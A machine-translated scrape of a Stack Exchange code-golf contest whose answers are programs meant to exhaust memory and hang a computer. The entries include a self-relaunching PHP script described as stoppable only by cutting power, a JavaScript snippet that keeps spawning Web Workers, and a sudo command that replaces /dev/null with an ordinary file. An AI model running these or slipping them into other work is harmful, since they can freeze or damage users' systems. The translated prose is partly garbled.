sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory

2

佩尔

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

使用循环引用。变量的引用计数将永远不会达到0,并且引用将永远不会被垃圾回收。

您可能需要耐心等待,但是可以保证会阻塞系统。磁盘开始旋转得更快,并且烟雾可能可见。


2

PHP(仅Linux):

这段代码未经测试,因为我没有运行php的linux计算机。

但这是我的概念证明:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

这将用巨大的RGBA图像(10000x10000像素)填充内存。

关闭该婴儿的唯一方法是关闭电源。

该代码均已注释。

任何改进,疑问,错误或任何其他事情,请使用下面的评论框。


有人可以使用linux进行思维测验吗?谢谢:)
乔治

我有linux,但我不确定它如何工作。我提供了第一个答案的打印屏幕,但这是不完整的linux小狗版本。Ubuntu太慢了,无法运行php。也许稍后再在Android上进行测试。
Ismael Miguel

1
它未能解决不调用另一个程序的问题
Einacio 2014年

它不是在调用另一个程序:它是在为同一文件启动该文件的同一程序。
Ismael Miguel

2

巨蟒-56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

创建一个类,定义一个设置属性的方法,在其中设置属性,并创建一个初始实例,然后尝试为其设置属性。

一个简单的递归函数(def f(x):f(x))似乎有点难以想象,所以我决定从不实际调用函数。

内存管理可能会捕获递归深度,但是它实际上取决于实现。

如果这是叉式炸弹,请告诉我。


4
这不会导致内存耗尽,只需一个:RuntimeError: maximum recursion depth exceeded while calling a Python object。甚至在sys.setrecursionlimit没有分段内存的情况下崩溃之前,即使设置几乎没有内存的最大递归限制。
Bakuriu 2014年

@Bakuriu就像我说的,它确实取决于实现(有些Python的实现可以转换为C(++)并进行编译,例如Shedskin,Nuitka)。
cjfaure

2
然后说明您正在为哪个特定实现编写代码。挑战之间的区别仅在于语法,因此实现不相关,而挑战则完全取决于语言的实现方式。
Bakuriu 2014年

2

佩尔

这很简单,但是我喜欢打高尔夫球。

{$x=[$x];redo}

经过两次迭代,$x包含对array的引用,该引用包含对包含的数组的引用undef

内存使用时间是线性的,分配很小,但是花了几秒钟的时间就严重降低了我在Ubuntu Linux系统上的窗口管理器的速度。半分钟后,OOM杀手照顾了它。


2

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

取消高尔夫:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

注意: 它使用setTimeout,它被定义为Timers的一部分-HTML Living Standard

在Mozilla Firefox上尝试一下(您可以将其粘贴到开发人员控制台中)。Firefox不断消耗越来越多的内存,并100%在单核计算机上使用CPU(在像我的4核计算机上,它使用25%CPU)。它还具有无法阻止的附加好处。如果您可以打开任务管理器,则可以使用它杀死Firefox。


1
它使用100%的内核。在四核处理器上,这将导致25%的CPU使用率。
伊万·佩雷斯

@Electrosa是的,你是绝对正确的。我已经更新了答案。
牙刷

这不是代码问题,请尝试使代码可读。
圣保罗Ebermann

@PaŭloEbermann好。我发布了一个未发布的版本。
牙刷

1

重击

创建一个空文件test
替换/dev/null/为该文本文件

$ sudo mv test /dev/null

这与@Comintern的答案类似。/dev/null现在,所有to的输出都将附加到此文本文件,随着时间的流逝,它将变得庞大并使系统崩溃。


1
巨大的文件不会使系统崩溃。假设平均磁盘大小为500gb,则文件甚至需要很长时间才能填满磁盘。
w4etwetewtwet 2014年

1
/deva为的系统上devtmpfs,它可能填满并阻碍系统。我猜这就是答案的意图。
Toby Speight

1

重击:7个字符

这应该是最简单的bash解决方案。没有叉子,没有作弊。

x=`yes`

建议您不要以超级用户身份运行。


附加说明:即使您在中途使用ctrl-c终止该操作,然后再使用unset该变量终止该操作,内存也将一直分配到外壳被杀死为止。您可以在中观看大屠杀top
骚乱

我自己对bash 4.2.45(1)的测试表明unset x确实释放了内存。pdksh也可以释放内存,但是ksh93无法释放它,并且exit在ksh93中转储核心。
kernigh 2014年

对我而言(bash 4.3.11(1)),父外壳顶部的常驻内存显示一直稳定上升,直到yes被杀死为止,此时它只是停留在那里,unset没有任何作用。但这是在大型内存系统上,并且具有数GB的变量似乎并没有给它带来麻烦(直到它最终决定杀死该外壳)。
暴动

0

C

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

好吧,它接一页接一页地占用内存,最后没有剩余的内存了。


4 KB的页面有多普遍?
Peter Mortensen 2014年

@Peter 4K通常是大小,但是我不能确定它是否真的通用,但是页面大小与给定的问题没有关系。
ST3 2014年

1
@ ST3:您应该使内存页变脏。大多数现代操作系统使用虚拟内存,并在分配内存时仅在虚拟内存表中进行记录。将单个字节写入内存页面将已经迫使操作系统将虚拟内存页面映射到物理内存。
foob​​ar


0

红宝石

a=[];loop{a<<a}

它只是无休止地将自身引用附加(递归!)。

当有人用它破坏了我的Ruby沙箱时,发现了这个小宝石。:D

递归方面的演示:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 

0

C ++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

非高尔夫球

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

我更正了我的条目,以包括来自main的电话。


这是一次人气竞赛。如果程序正常运行,则保留其主程序和头文件。没关系。另外,您可以发布非高尔夫版本吗?谢谢:)
乔治
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.